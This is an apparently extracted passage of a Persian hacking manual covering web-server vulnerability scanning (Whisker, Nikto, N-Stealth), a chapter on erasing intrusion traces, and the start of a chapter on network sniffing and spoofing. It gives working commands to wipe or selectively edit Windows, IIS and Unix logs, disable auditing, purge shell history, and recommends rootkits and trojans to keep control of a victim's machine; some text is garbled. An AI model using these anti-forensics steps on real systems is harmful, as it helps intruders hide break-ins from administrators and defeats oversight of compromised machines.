شوید       (  ميتوانيد راه حل بر طرف کردن این حفره          securityfocus.comامنيتی ، که شما در سایت        با این کار بعد از نفوذ خود باعث مي

رداری از    !! ) د نشود و کار شما را خراب نکند با ناشی بازی اش     که شخص دیگری از راه ایی که شما آمده اید وار           ره ب ه به و کد برنام
د واژه              راه کلي ار وارد کردن قالب و شماره آن هم این حفره و مطالب آموزنده و شماره و قالب معدل آن را بدست آورید ، البته بهترین ک

  .ج زیادی را بدست می آورد است که برای شما نتایGoogleهای مورد نظر خود در جستجوگر 
  

  :پویش برنامه های کاربردی تحت وب برای کشف حفره های آسيب پذیر 
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دهم                               ه توضيح مي شود ک ه های تحت وب مي ره های برنام ه کشف حف وط ب ط مرب رای  ( خوب در این باره یک مطلب دیگر است که فق ب

   .)!!  کردن صفحه سایت ها هستند دارم ميگویم Deificکسانی که خوره 
  

د یک راست اگر دل                                 رده بع ام اول کشف ک ا روشهای گ ر عده دارد را ب ده وب را ب  ما در این کار اول ماشينی که وظيفه سرویس دهن
د                  م را      % ١٠٠خودتان خواست می آیيد به این مرحله اگر وسواسی هستيد گام دوم را هم انجام دهيد اگر ميخواهي ام سوم ه موفق شوید گ

دهم              این هم( انجام دهيد    ه حالا دارم توضيح مي ویش خاص را ک وع پ ن ن ردم ای ام سوم معرفی ک ه در گ ين جا بگویم تمام برنامه هایی ک
  ).انجام ميدهند 

  
  ...  وiPlanet و Apache و IISاصول کار در این روش فقط حمله به برنامه سرویس دهنده وب است مثل 

  
   :Whiskerمعرفی ابزار 

  
سر           Unix است که برای خانواده      Whiskerن کار   معروف ترین برنامه برای ای     ا یک مف ل       Perl است نه ببخشيد ب م قاب دوز ه رای وین  ب

  : اصطلاحا دستور زیر را می نویسيم Shellبرای استفاده از این دستور در خط فرمان محيط لينوکس ها یا همان . استفاده ميشود
$ whisker.pl –h xxx.xxx.xxx.xxx –vv –W | tee 

  :سویچ های متداول این برنامه!!  اول باید ميگفتم که الان ميگم ببخشيد خوب این
  !! حتما استفاده ميکنيم h– آن استفاده کنيم از سویچ IPهنگامی که بخواهيم از نام ميزبان یا شماره 

  . استفاده ميکنيم H– را به برنامه بدهيم از سویچ IPاگر بخواهيم ليستی از ميزبان ها و یا شماره 
  . باعث ثبت نتایج پویش حفره ها ميشودvv–یچ سو

  . ذخيره شود HTML باعث ميشود نتایج در قالب W–سویچ 
  !!)به ندرت استفاده کنيد : توصيه من به شما . (  باعث ميشود که هميشه نتایج در فایلی که معرفی ميکنيد ثبت شودl–سویچ 
ا    . ( ميشود SSL باعث استفاده از     x–سویچ   رای وب سایت ه ه از  ب د    SSLیی ک تفاده می کنن ل از سویچ      ) (  اس د قب ن سویچ را بای  h–ای
  )بگزارید

  
تفاده   Script جلوی آنها است و ترجيحا در شاخه OK 200خوب همين ها است شما باید دنبال آن جواب هایی بگردید که  ا اس  هستند و ب

  . ید و سرویس دهنده را کنترل آن را بدست بگيریدبپرداز...  وNCاز کدی که جلوی آن است با ارسال یک اسب ترآوا و یا 
 کارش این هست که خروجی را از برنامه در حال اجرا لحظه به             Teeفقط این بگم که آنهایی که لينوکس کار هستند حتما ميدانند که تابع              

  .لحظه ميگيرد و به ما نمایش ميدهد و البته ذخيره هم ميکند
  

  :رور را تشخيص داد با این برنامه خوب با فرمان زیر ميشود نوع وب س
$ whisker.pl –h xxx.xxx.xxx.xxx –vv –W –s  "IIS/5.0" 

ه      .  نوع سرویس دهنده را حدس بزید و بعد برنامه را اجرا کنيد      IIS/5.0البته شما باید به جای        ن است ک ن دستور ای ه  (کار ای ام  : نکت تم
ه سرویس          Deificخوره های     د ک ا ميدانن ی   "  حتم ا                           "بيل دل های دیگه ج ه خودش را جای م د ک تفاده ميکن انيزمی اس  جون از یک مک

  . را انجام ميدهدIIS/5.0بدون توجه به نوع سرویس دهنده انواع برسی های خاص مدل !! ) ميزند
  

  :برای بهبود این کار بهتر است در کد منبع این نرم افزار بعد از دو خط زیر
$ D { ` XXServerAgent ` } = " mozilla/5.0 [EN] (Win95; U ) " ; 
$ D { ` XXForce ` } = 1 if defined ( $args {f} ) ; 

  :خط زیر را درج کنيد 
$ D { ` XXForceS ` } =1 if defined ( $args {S} ) ; 

ود یک سویچ          ور ب ه عب ه کلم اجی ب د   a–خوب اخرین نکته این است که اگر احتي ن شکلی  ای " username:password "  را نوشته بع
  .کلمه عبور و نام کاربری را وارد ميکنيم 

  
ه       شود ب ردم  مي ه معرفی ک ه ک ستم       Niktoخوب این از این ، برنامه های خفن این کاره به غير از این برنام ه سي رای هم سخه آن ب ه ن  ک

رد           ام ب ان         . عاملها نوشته شده است ن م تحت زب ن ه دوز لازم دا               Perlای رای وین سر ب الای است       . رد نوشته شده و یک مف ل ب م مث ن ه ای
نم           ذار ميک ن                              !! توضيحات اش را به خودتان واگ ه خف دوز برنام رای وین ط ب ه فق نم البت ه شما معرفی ک وانم ب ه ميت ی ک ه بعدی خفن برنام

Stealth           سپارم توضيحات آن را ان مي تفاده  ( است که یک محيط گرافيکی ساده هم دارد کار با این ساده است  پس به خودت ا اس د  حتم  کني
  ) !!!چون کارایی اش خوب
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  :تجزی و تحليل نتایج 

  
دام                             ما در گام اول سعی کردیم بفهميم اصلا ماشين مورد نظر ما کجا است چه سيستم عاملی دارد چند سرور دارد و هر سرویس روی ک

ابين م            دام است در چه کشوری است م رده محدوده شبکه آن ک د ماشين     ماشين است و چه کسی ای سایت را ثبت ک ا و ماشين هدف چن
رار دارد و                       طواسطه برقراری ارتبا   ا و هدف ق ين م اب ب د مسير ی ا و ماشين هدف است و چن ين م د از   ...  هستند آیا دیوار آتشی ب ه بع ک

انتخاب دانستن این اطلاعات پایه تصميم خود برای ماشين هدف و حمله ، و سيطره بر ماشين هدف را آغاز ميکنيم برای این کار بعد از                           
ا                                      رای ب ه ب وان البت ار ميت ن ک ا ای ورت زده ب ده پ از کنن ه شناسایی سرویس ب ماشين هدف شروع به پویش پورت های باز کرده و دست ب
ام                         د را انج ه بع ه هستيم مرحل ی تجرب ا چون ب ا م تجربه ها از همين جا مرحله حمله را با دانستن نقطه ضعفهای سرویس شروع کرده ام

م اگر       ميدهيم با این کار    رای آن ه  نقاط ضعف و اسيب پذیر ماشين هدف شناسایی شده و ما به سراغ مطالب آموزنده در باره آن رفته و ب
ره ميگردیم             ) Exploit(برنامه نویس هستيم یک برنامه کاربردی مينویسم         رداری از آن حف ره ب رای به . و گرنه دنبال برنامه کاربردی ب

  .رنامه کاربردی و مطالبی که مطالعه رده این در این باره حمله را تدارک دیده و کار را تمام ميکنيمسپس بعد از این مرحله با توجه به ب
  

ه می                                   ن مقول ا ای رتبط ب املا م ا ک ه ام اربردی متفرق زار های ک رم اف ه معرفی ن د ب ه بع خوب این هم از گام چهارم و آخرین گام از این ب
  .پردازم 
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  N-Stealthآموزش و معرفی ابزار 
  

سخه تجاری و                      این ابزار هم مثل قبلی یکی از بهترین ابزار های کشف نقاط آسيب پذیری و سرویس دهنده های وب ميباشد ، دارای دو ن
شتر و         ذیری بي اط آسيب پ . را دارد  ...  رایگان است ، که نسخه تجاری ان قابليت پویش چند سرویس دهنده به طور هم زمان و کشف نق

  .کار با این ابزار گرافيکی بسيار ساده است 
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   مخفی ماندن و پاک کردن ردپا ها>=  هموازددفصل 
  

 ... و پاک کردن رد پا ها در ویندوز 
 

 ...پاک کردن رد پا ها در لينوکس و  
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  پاک کردن ردپا ها در ويندوز
   

در این فصل ما متد ها و عمليات های را که باید انجام دهيم تا بعد نفوذ به قربانی ، در حاشيه امنيت قرار بگيریم را بررسی ميکنيم  ، 
این !! این کار معمولا برای تثبيت موقعيت انجام ميشود و زمانی را که ما سيستم  قربانی ميتوانيم باشيم  و لو نرویم را افزایش ميدهد 

 دقيقا بستگی به سطح مهارت شما دارد ولی من سعی ميکنم سطح متوسطی را در اینجا در مورد هر دو سيستم عامل مورد برسی کار
  .ولی به هر حال !!  است Root Kitبهترین کار البته به نظر من آلوده کردن قربانی به یک . قرار دهم 

   
  :این مبحث را ميشود به سه دسته کلی تقسيم کرد 

   
  ... ) . شامل تغيير ، پاک کردن و ( ها Event Logsه به حمل •
   . Shell Historyتغيير در فایل های  •
  ... ) . و IP ، دست کاری بسته های Loki ، Sneakin( ایجاد کانالهای پنهان توسط  •
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   هاEvent Logsحمله به 
  
  

خوب ما .  ها Event Logs ميرود جای نيست جزء  شبکه برای کشف رد پایی از فعاليت یک نفوذگراصولا اولين جایی که یک مدیر 
البته اینجا یک مساله کاملا واضح وجود دارد ، اگر شما در حمله خود موفق بوده باشيد و سيطره کاملی !! هم از همين جا شروع ميکنيم 

دومين . ت به مواقعی که در حمله شکست خورده اید رد پاهای خود را پاک کنيد بر روی هدف داشته باشيد خيلی راحت تر ميتوانيد نسب
این را تجربه به من ثابت !!  رد پاهای خود و یا حتی نفوذ گران دیگر را پاک نکنيد تماممساله برای مخفی ماندن این است که هرگز 

  ،... !! کرده چون مدیر شبکه اگر حرفه ای باشد شک ميکند و خيلی 
  
تر سعی کنيد رکورد های تابلو و خيلی واضح را که هر مدیری ببيند ميفهمد هک شده را پاک کنيد این جوری خيلی بهتر و اصلا به بيش

  !نفوذ گران دیگر کار نداشته باشيد و فقط به خودتان فکر کنيد 
   

البته من .... تم عامل است و عوامل محيطی و م که کاملا وابسته به نوع سيسوی بگ بایددر مورد دستکاری فایلهای ثبت رخداد ها ، هم
چون خيلی بيشتر و راحت تر هک ميشود (توضيح بدم ) Windows(سعی ميکنم اول در مورد پاک کردن رد پاها در گاف بزرگ بيلی 

  !!تا برسيم سر وقت بقيه البته اگر عمری باقی بود !!) 
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 ٦٢٣    صفحه

Clear Event Log For Windows : 
  

 وجود دارد که تمام ورود و خروج ها ، تجاوز از سطح مجاز دسترسی ها ، خطا های سرویس Event Logدر ویندوز سرویسی به نام 
) پوشه( را باز ميکنيد با سه زیر شاخه Event logوقتی شما برنامه . را ذخيره ميکند... دهنده ها ، خطاهای برنامه های کاربردی و 

  : ه ميشوید که به ترتيب عبارتند از مواج
  

• Application) ثبت خطاهای برنامه های کاربردی  (  
  

• Security) ثبت تجاوز از سطح مجاز دسترسی ها و( ...  
  

• System) ثبت خطاهای خود سيستم و(....  
  
  

 و SecEvent.Evtو  AppEvent.Evt ذخيره ميشوند به نامهای SystemRoot%\system32\config%خوب اینها در همه در 
SysEvent.Evt البته بقيه هم مهم هستند ولی ( که البته آن چيزی که خيلی مهم است (...SecEvent.Evt همانگونه که در بالا .  است

ه  بيشتر مهم است ، ولی بقيه هم مهم هستند نSecعزیزان توجه کنيد که من گفتم . ( گفتم این فایل حاوی رخ دادهای امنيتی سيستم است
به اندازه ان البته این موضوع کاملا بسته به نوع حمله شما دارد مثلا اگر به سرویس دهنده وب حمله کرده اید باید یک نگاهی هم به 

App این را هم اضافه کنم که این فایلها ) . آره جونم !!  بندازیدLock شده اند و نميتوانيد یک دفعه حذف کنيد آنها را !!  
  

داشته ) session(ما حتما با ید یک نشست ) به صورت ریموت ( ردن فایل های ثبت رخداد از راه دور برای پا ک: نکته  
  !!باشيم 
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 ٦٢٤    صفحه

   :Clear Logs ابزار 
 

 توصيه ما بر و بر خلاف.... !!  را هم به صورت ریموت و هم لوکال استفاده کنيد البته این یکمی Clear logs ميتوانيد  خوب شما
... البته خوبی آن این است که آنی کار را تمام ميکند ولی ) فقط محتویات آن را (ميدارد و یک دفعه کل فایل ثبت رخ داد را پاک ميکند 

  : به آدرس زیر مراجعه کنيد کار با ان خيلی ساده است و نياز به توضيح ندارد برای دریافت این ابزار
  

 http://ntsecurity.nu/downloads/clearlogs.exe. 
  
  

  
  
   سویيچ است که٣این ابزار دارای  
  

 را دارد است که اگر این ثبت خطاهای برنامه های کاربردیکه همان وظيفه  Applicationیعنی  ) app–( سویيچ اول  •
ال و ریموت ميشود ، هم به صورت لوک) محتویات آن(سویيچ مورد استفاده قرار گيرد فقط این فایل ثبت رخداد پاک ميشود 

  . از آن استفاده کرد
  

اگر این سویيچ . را دارد ...  و ثبت تجاوز از سطح مجاز دسترسی هاکه همان وظيفه  Security یعنی sec–سویيچ دوم  •
، هم به صورت لوکال و ریموت ميشود از آن ) محتویات آن(مورد استفاده قرار گيرد فقط این فایل ثبت رخداد پاک ميشود 

  . ده کرداستفا
  

اگر این سویيچ مورد استفاده قرار گيرد فقط .  را دارد ثبت خطاهای خود سيستمکه وظيفه  System یعنی sys–سویيچ سوم  •
  .، هم به صورت لوکال و ریموت ميشود از آن استفاده کرد) محتویات آن(این فایل ثبت رخداد پاک ميشود 
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 ٦٢٥    صفحه

   :win zapperابزار 
  

 نشود  Resetراه اندازی مجدد می ملایم تر و البته حرفه ای تر است اما یک مشکل دارد و آن هم این است که تا سيستم برنامه بعدی یک
  کنيد برای مدیر سيستم یک معنی Resetپس زیاد به درد نمی خورد چون اگر شما سرور را (شود  تغيرات مورد نظر شما اعمال نمی

   .ته شما در این برنامه ميتوانيد فقط رکورد های مورد نظر خود را حذف کنيد و بقيه را باقی بگذاریدالب!! .... ) بيشتر ندارد وان هم  
  

  :برای دریافت این برنامه به یکی از سایتهای زیر مراجعه کنيد 
  

http://ntsecurity.nu/toolbox/winzapper/ 
http://www.NtSecurity.nu  
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 ٦٢٦    صفحه

  ELSaveابزار 
  
    

 است این برنامه هم قابليت پاک کردن محتویات فایلهای ثبت رخداد هم به صورت ریموت را ELSAVEبرنامه بعدی که معرفی ميکنم 
یکی از قابليت های بزرگ آن ذخيره کردن و به نوعی دست کاری این فایل است که بسيار عالی است و این ابزار را ، البته دارا ميباشد 

  .از دیگر ابزار ها متمایز ميکنيد 
  

  . سویيچ است که شرح هر یک را در زیر مشاهده ميکنيد ۴دارای 
  

• -l مثلا . ایل ثبت رخداد را انتخاب ميکنيد بعد از این سویيچ  ف٣ با این سویيچ که در موارد لوکال استفاده ميشود شما یکی از
Security و یا System و یا Application را . 

 
• -c اگر این سویيچ استفاده نشود برنامه هيچ .  با استفاده از این سویيچ برنامه فایل ثبت رخ داد مورد نظر شما را پاک ميکند

 . همه استفاده ميشود این سویيچ آخر از. فایلی را پا نخواهد کرد 
  

• -f با استفاده از این سویيچ مشخص ميکنيد فایل ثبت رخ داد انتخاب شده در چه جایی  و با چه اسمی ثبت شود . 
  

در این مثال ما اول فایل ثبت  رخداد . به مثال زیر دقت کنيد که ما از این سه سویيچ در یک سيستم به صورت لوکال استفاده کردیم 
  . را انتخاب کردیم و سپس آن را در جای دیگری ذخيره کردیم و آنگاه فایل ثبت رخداد را پاک کردیم مورد نظر خود

  
elsave -l system -F d:\system.log -C 

 
• -s \\server از این سویيچ استفاده ميشود )  از راه دور (   برای استفاده از این ابزار به صورت ریموت .  

  
و فقط از  فایل )  وجود نداردc–چون سویيچ (ابل ذکر است که ما در دستور زیر هيچ فایلی را پاک نکردیم  به مثال زیر توجه کنيد ، ق

  .موجود یک پشتيبان گرفتيم و آن را در جای مورد نظر خود ذخيره کردیم 
  

elsave -s \\serv1 -F d:\application.log 
  

  :  را از راه دور پا کنيد مينویسيم Securityت رخداد خوب به زبان ساده اگر بخواهيد محتویات فایل ثب: مثال 
  

elsave -s \\xxx.xxx.xxx.xxx –l Security –c  
 

  
  :برای دریافت این ابزار به آدرس زیر مراجعه کنيد 

  
http://www.ibt.ku.dk/jesper/ELSave/els004.zip  
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 ٦٢٧    صفحه

   :Auditpolابزار 
  

 است ، و کار این ابزار این است که عمل ثبت رخداد را متوقف ميکند و دیگر هيچگونه ثبت رخداد NTRKاین ابزار از مجموعه 
  .این ابزار فقط باید به صورت لوکال استفاده شود . برداری در سيستم انجام نميشود 

  
  :این ابزار دارای دو سویيچ است 

  
 .که اگر از این سویيچ استفاده کنيد تمام تبت رخداد برداری ها غير فعال ميشوند  : disable/سویيچ  .١

  

  
  
  

 .این سویيچ باعث ميشود تمام عمليات ثبت رخداد برداری فعال شود  : enable/سویيچ  .٢
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 ٦٢٨    صفحه

   :dumpelابزار 
  
  

رود ، معمولا من از این برای این استفاده ميکنم که مطمئن شوم  برای گزارش گيری از فایل های ثبت رخداد به کار ميdumpelابزار 
  .که فایل ها پاک شده است استفاده ميکنم 

  
  :شکل عمومی دستورات در این ابزار به صورت زیر است 

  
dumpel -f file [-s \\server] [-l log [-m source]] [-e n1 n2 n3...] [-r] [-t] [-d x] 

  
  :چ ها و مثال های خود آن کاملا واضح باشد فکر ميکنم توضيحات سویي

  
-f file 

specifies the file name for the output file. There is no default for -f, so you must specify the file.  
-s server 

specifies the server for which you want to dump the event log. Leading backslashes on the server name are optional.  
-l log 

specifies which log (system, application, security) to dump. If an invalid logname is specified, the application log is 
dumped.  

-m source 
specifies in which source (such as rdr, serial, and so on) to dump records. Only one source can be supplied. If this 
switch is not used, all events are dumped. If a source is used that is not registered in the registry, the application log is 
searched for records of this type.  

-e n1 n2 n3 
filters for event id nn (up to ten can be specified). If the -r switch is not used, only records of these types are dumped; 
if -r is used, all records except records of these types are dumped. If this switch is not used, all events from the 
specified sourcename are selected. You cannot use this switch without the -m switch.  

-r 
specifies whether to filter for specific sources or records, or to filter them out.  

-t 
specifies that individual strings are separated by tabs. If -t is not used, strings are separated by spaces.  

-d x 
dumps events for the past x days.  

 
  :مثال ها 

  

To dump the system event log on server \\EVENTSVR to a file named Event.out, use: 

dumpel -f event.out -s eventsvr -l system 

To dump the local system event log to a file named Event.out, but only get Rdr events 2013, use:  

dumpel -f event.out -l system -m rdr -e 2013  

To dump the local application log to a file named Event.out, and get all events except ones from the Garbase source, use: 

dumpel -f event.out -l application -m garbase -r  
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 ٦٢٩    صفحه

   Clear Event Logابزار 
  

ردن فایل های ثبت رخ داد را به صورت مجزا و بدون راه اندازی مجدد سيستم دارا ميباشد ، برای پا کردن تمام این ابزار هم قابليت پا ک
  :فایل های ثبت رخداد فقط کافی است بنویسيد  

  
ClearEL.exe  all 

  
  : مينویسيم Applicationو برای پاک کردن فایل های ثبت رخداد 

  
ClearEL.exe  app 

  
  : مينویسيم Systemفایل ثبت رخداد و برای پاک کردن 

  
ClearEL.exe  system 

  
  : مينویسيم Securityو برای پاک کردن فایل ثبت رخداد 

  
ClearEL.exe  security 

  
  !!!و اگر خود این برنامه را بدون سویيچ استفاده کنيد هيچ اتفاقی نمی افتد 
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 ٦٣٠    صفحه

   !!!IISداد حمله به فايلهای ثبت رخ
   

 ميخواهيد حمله کنيد ، چون این برنامه بيش از حد تصور امن است IISخوب اینها برای سيستم عامل بود اما اگر به فایلهای ثبت رخداد 
 مثل  ه ميتوانيد آنها را پاک کنيد یا با یک ویرایش گر متنی سادDelو فقط با یک دستور ساده !! ، شما احتياج به هيچ برنامه ای ندارید 

Edit آنها را بخوانيد و تغيرات مورد نظر را اعمال کنيد !!  
   

   درمعمولاالبته 
 %SystemRoot%\system32\LogFile  

  
است داخل این پوشه ها فایل های ثبت رخ داد ... و  W3SVC2 و W3SVC1 در آنجا پوشه های است که به صورت .قرار ميگيرند 

  : مثلا به شکل زیر دقت کنيد.  های ثبت رخداد نشان دهنده تاریخ ایجاد آن است اسم هر کدام از فایل.  وجود دارد 
  

  
  
و در ماه نهم ) 05 (٢٠٠۵ است ، اسم این فایل به ما ميگوید که در سال ex050915.log فایل ثبت رخ داد وجود دارد که اولی با نام  ۴
 ما کار این فایل را Editخوب حال با دستور ساده .  ایجاد شده است IISاین فایل توسط سيستم ثبت رخداد ) 15(و روز پانزدهم ) 09(

. استاد ميکنيم ، البته هم ميتوانيم خود آن را پاک کنيم و هم ميتوانيم فقط رکورد های مورد علاقه خود مان را از این فایل پاک کنيم 
  !!تصميم با شما است 
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 ٦٣١    صفحه
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 ٦٣٢    صفحه

Clear Event Log For UNIX : 
  

....!!  وAIXاست نه انواع سولاریس ...  و البته من منظورم در این قسمت سيستم عامل های سازگار با یونيکس از قبيل لينوکس
بهترین .  ذخيره ميشود)ASCII (همانگونه که همه ميدانيم فایلهای ثبت رخداد در اینگونه از سيستم عاملها به صورت فایلهای متنی ساده

 را به گونه مورد نظر خود تغيير بدهيم تا موارد مشکوک ذخيره نشود، البته آنهای که فقط syslogdاه این است که ما پيکر بندی فایل ر
راه دوم که بيشتر مورد توجه هکرهای بيتجربه یا کم تجربه است !!  این بهترین راه و منطقی ترین راه است !!مربوط به ما است 
   های آماده است که یکی دو جين از اینها در شبکه ریخته استفاده از اسکریپت

  
   :syslogdتغيير پيکر بندی 

  
  

 است و به این برنامه ميگوید که در کجا و کدام فایل ، رخداد های syslogd مشخص کننده پيکربندی برنامه syslog.confاین فایل 
 شویم و این فایل را یک نگاهی بی اندازیم ، و کشف نمایم که در rootز در مرحله اول ما باید صاحب مجو. اتفاق افتاده را ثبت نماید 

 و یا viکجا فایل ها ثبت رخداد مربوط به ما وجود دارد و سپس به آنجا رفته و فایل مربوطه را با یک ویرایشگر متنی ساده مثل 
emacsداده و بعد از آن به فایل  ویرایش نموده و رکورد های مشکل دار مربوط به خودمان را حذف و یا تغيير syslog.conf رفته   

این . و گزینه های خطرناک برای ما را بگونه ای پيکر بندی نمایيم که هيچ اثری از ما را دیگر ثبت نکند و با ما کار نداشته باشد 
  !!بهترین راه  و مطمئن ترین راه است 

  
   :syslog.confنکات مهم برای پيکربندی فايل 

  
پيام های واقعه نگاری به فایل های ) اکثر سيستم های لينوکس نه همه آن ها  (syslog.confایل های در بيشتر ف 

/var/log/messages  و یا در سولاریس /var/adm/log/messages هدایت ميشوند .  
  

  در اکثر این فایل ها دستور زیر وجود دارد   
Auth.info       /vear/log/auth.log 

  
 و دیگر reboot و یا استفاده از su و یا  استفاده از دستور login دستور تلاش های صورت گرفته برای که در واقع این

 رفته و vear/log/ شما برای  دست کاری ثبت رخداد این وقایع باید زیر شاخه .  وقایع مرتبط با امنيت را جمع آوری ميکند 
  . را ویرایش کنيد auth.logفایل 

  کثر اوقات مربوط به فایل ای ثبت رخداد ميباشد  در اver/کلا پوشه  
  

 :گزینه های زیر را فراموش نکنيد  
  

# touch /var/log.auth.log 
# chown root  /var/loglauth.log 
# chmod 600 /var/loglauth.log 

  و در سولاریس
  

# touch /var/adm/loginlog 
# chmod 600 /var/adm/loginlog 
# chown root /var/adm/loginlog 
#chgrp sys /var/adm/loginlog 

 
 نمایش نميدهد و حتما باید lsشروع ميشوند مشکل دارد و آنها را با دستور ساده "." لينوکس با فایل های که با  

در صورت وجود "..." سعی کنيد دایرکتوری  !! ربط این خودتان کشف کنيد !!  استفاده شود ls -aاز دستور 
 بزنيد و طرف نداند آنگاه رفتن به آن spaceاگر در آخر آن سومين نقطه شما یک . ار دهيد را مورد توجه قر

  !!  پوشه خيلی سخت ميشود 
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 و Knarkمثل !!!  است Root Kitالبته بهترین کار آلوده کردن سيستم با یک !!  قرار دارد etc/syslogd.conf/در  پيکربندی ما فایل
Adoreکارها را درست ميکنند و به شما آخرت مخفی بودن را هدیه ميدهند چون خودشان همه...  و !!  

   
  
  

 که رخداد های var/log/secure/ قرا ميگيرند که بعضی از آنها عبارتند از var/log/اما فایلهای ثبت رخداد در اینگونه سيستم ها در 
 var/log/httpd؛ ..  سيستمی مثل دایمون ، هسته و هایمؤلفه پيامهای همچون var/log/messageامنيتی در ان ذخيره ميشود ؛ 

 که در آن ليست افرادی که وارد سيستم شده اند و در حال کار هستند ذخيره ميشود ؛ فایل Utmpرخدادهای سرویس دهنده وب ؛ فایل 
wtmp ؛ فایل !!  مثل بالای است فقط خروج شما را هم ثبت ميکندlast logخيره ميشود و همچنين زمان  در این فایل نام ماشين هم ذ

  !!راستی این سه تا فایل آخری مهم تر است .  قرار داردusr/adm/last log/ورود خروج شما و در  
   

  :برنامه های مربوطه 
  

   :ZAPابزار 
  

  .این ابزار آخرین ورودی ها را بازنویسی ميکند و مقدار صفر را به جای آن ها قرار ميدهد 
  

   :Cloack 2ابزار 
  
  . ابزار داده های فایل ثبت رخداد را تغيير ميدهد این

  
   :CLEARابزار 

  
  .این داده های فایل ثبت رخداد را پاک ميکند 

  
  
  

  :که فقط نام ميبرم بقيه کار به خود شما ميسپارم ) البته بهترین راه همون که گفتم (خوب برنامه های هم وجود دارد 
  
Wtmped , Cloak , Wzap , Marry , Logwedit , Zapper, … 

  
*******  
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   Shell Historyفايل های 
  

وقتی شما به دستوری را در !! یکی از دیگر از جاهایی است که در صورت کم توجهی ممکن است تمام دودمان شما را به باد فنا بدهد 
Shell وارد ميکنيد ، همه آنها در یک فایل با پسوند .bash-history شاخه خانگی  در)HOME ( در این فایل هميشه . ذخيره ميشوند
  !!!!!!  تا دستورات بو دار شما پاک شود Shell دستور به درد نخور را بزنيد در ۵٠ميتوانيد !!  دستور آخر وجود دارد ۵٠

  
  :برای شل های مختلف عبارتند از 

  
sh : sh_ history 
csh : history 
ksh : sh_ history 
bash : bash_ history 
zsh : history 

  
  
  
  

  . مراجعه کنيد سایت زیر هم ميتوانيد به Mac   های سيستمLOGبرای دستکاری ++ 
  

http://www.nisto.com/mac/tool/logs.html  
   

  .راجعه کنيد سایت زیر ميتوانيد به ) Fire Wall(ا رفتن با فایلهای ثبت رخداد ، دیواره آتش ه برای ، ور ++ 
  

http://lists.gpick.com/pages/Firewall_Log_Tools.htm  
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   همه چيز در باره استراق سمع :دهمسيزفصل 
  

 .مقدمه بر استراق سمع  
 

 .استراق سمع از هاب  
  

  . Snortمعرفی و آموزش  
  .Sniffitمعرفی و آموزش  
  .TCPDumap & WinDumpمعرفی و آموزش کامل  
   .ButtSnifferمعرفی و آموزش  

 
 .استراق سمع از سویيچ  
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  .DSNIFFمعرفی مجموعه  
  .ARP spoofمعرفی و آموزش  
 . DNS spoofمعرفی و آموزش  
  .DSNIFFآموزش کامل  
  .File Snarfمعرفی و آموزش  
  .Macofمعرفی و آموزش  
  .Mail Snarfمعرفی و آموزش  
  .Msg Snafمعرفی و آموزش  
  .TCP KILLمعرفی و آموزش  
  .TCP NICEمعرفی و آموزش  

 
  .SSH و https و SSLاستراق سمع از  

  
  .URL Snarfمعرفی و آموزش  
  .Web Mitmمعرفی و آموزش  
  .Web Spyمعرفی و آموزش  

  
 .ه  در یک شبک Packet Sniffingتشخيص  
 !! خود را عوض کنيم IPچگونه  
 !دزدی هویت  

 
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

  :مقدمه بر ابزارهای استراق سمع 
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ایم                    قسمتدر این    وذ       .  هدف خود را تماما معطوف به آموزش حملات از طریق لایه های زیرین به شبکه می نم وان نف اگرچه می ت

ل وب ،                        ایی از قبي رد    ....  ، و    FTPبه سيستم را از طریق لایه های بالای مثل برنامه های کاربردی و سرویس دهنده ه زی ک ه ری برنام
مله در این البته ح. بيشتر مورد توجه نفوذ گران خُبره است، وليکن نفوذ به سيستم از طریق لایه های پایينی به دليل انعطاف پذیری زیاد            

ه داده های یک                                      ط متکی ب رین فق ه های زی ا تحریف اطلاعات در سطح لای را استراق سمع ی سطح بسيار مخرب و خطرناک است زی
ده های موجود روی                       ام سرویس دهن ه تم ه ب ه و حمل سرویس دهنده خاص در لایه کاربرد نخواهد بود و نفوذگر از این طریق برای رخن

دا   ل پي ين آزادی عم ک ماش ردی د ک ن . خواه سمتدر ای ای     ق ه نامه روزه ب ه ام ای ک رده و تکنيکه کافی ک د ش لات را کالب ه حم  اینگون
Sniffing ، Spoofing یا Session Hijackingو همچنين ابزارهای نظير  هستند مشهور Dsniff  را تشریح خواهم کرد...  و.  

  
د آن                  برنامه ای است که ترافيک جاری بر روی یک شبکه مح           Snifferیک   رده و بخشهای مفي لی را جمع آوری و استراق سمع ک

 می پردازد و هيچگونه IP فقط به استراق سمع و پایيدن ترافيک بسته های Snifferاز آنجایی که یک    . را در اختيار نفوذگر قرار ميدهد     
ه                  ل کشف نمی باشد         تغييری در آنها ایجاد نميکند ، لذا عمليات آن از دیدگاه ماشينهای شبکه مخفی ميماند و ب ن جزء    .  سادگی قاب ابر ای بن

  . محسوب ميشود(Passive)یکی از خطرناک ترین حملات غير فعال 
  

  :برای درک بهتر موضوع به شکل زیر توجه کنيد 
  

  
ردازد                   Snifferدر این شکل     ر روی شبکه می پ ه استراق سمع ترافيک جاری ب ا  .  ، بر روی یک ماشين معمولی نصب شده و ب ب

ودن  ادر است یک      رب ددا ق رد و مج ز در دست ميگي ين را ني رل ان ماش وذگر کنت مع ، نف تراق س ق اس اربر از طری ور یک ک ه عب کلم
Snifferدیگر بر روی ان ماشين نصب نماید و حجم استراق سمع را افزایش بدهد و ماشين های دیگری را فتح نماید   .  

  
اوتی یافت         بسيار متنوع هستند و هر کدام از       Snifferابزارهای    تکنيک خاصی استفاده ميکنند و این ابزارها برای سيستم عامل های متف

  :ميشوند از قبيل 
  

• TCPDumpبرای محيط های سازگار با یونيکس که از آدرس زیر ميتوانيد آن را دریافت کنيد : 
http://www.tcpdump.org/ 

• WinDumpهای  برای محيط Windows 98/NT/2000/XPکه از آدرس زیر ميتوانيد آن را دریافت کنيد :  
http://netgroup-serv.polito.it/windump/ 

• Snortبرای تمام سيستم عاملها که از آدرس زیر ميتوانيد آن را دریافت کنيد :  
http://www.snort.org/ 

• Sniffitبرای محيط های سازگار با یونيکس که از آدرس زیر ميتوانيد آن را دریافت کنيد : 
http://reptile.rug.ac.be/~coder/shiffit/sniffit.html/ 

• Etherealبرای محيط های یونيکس و ویندوز که از آدرس زیر ميتوانيد آن را دریافت کنيد : 
http://www.etheral.com/ 

• Dsniffبرای محيط های سازگار با یونيکس که از آدرس زیر ميتوانيد آن را دریافت کنيد : 
http://www.monkey.org/~dugsong/dsniff/ 
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  : برای محيط سازگار با ویندوز که از آدرس زیر قابل تهيه است BUTTSnifferابزار  •
http://www.packetstormsecurity.org/sniffers/buttsniffer/BUTTSniff-0.9.3.zip 

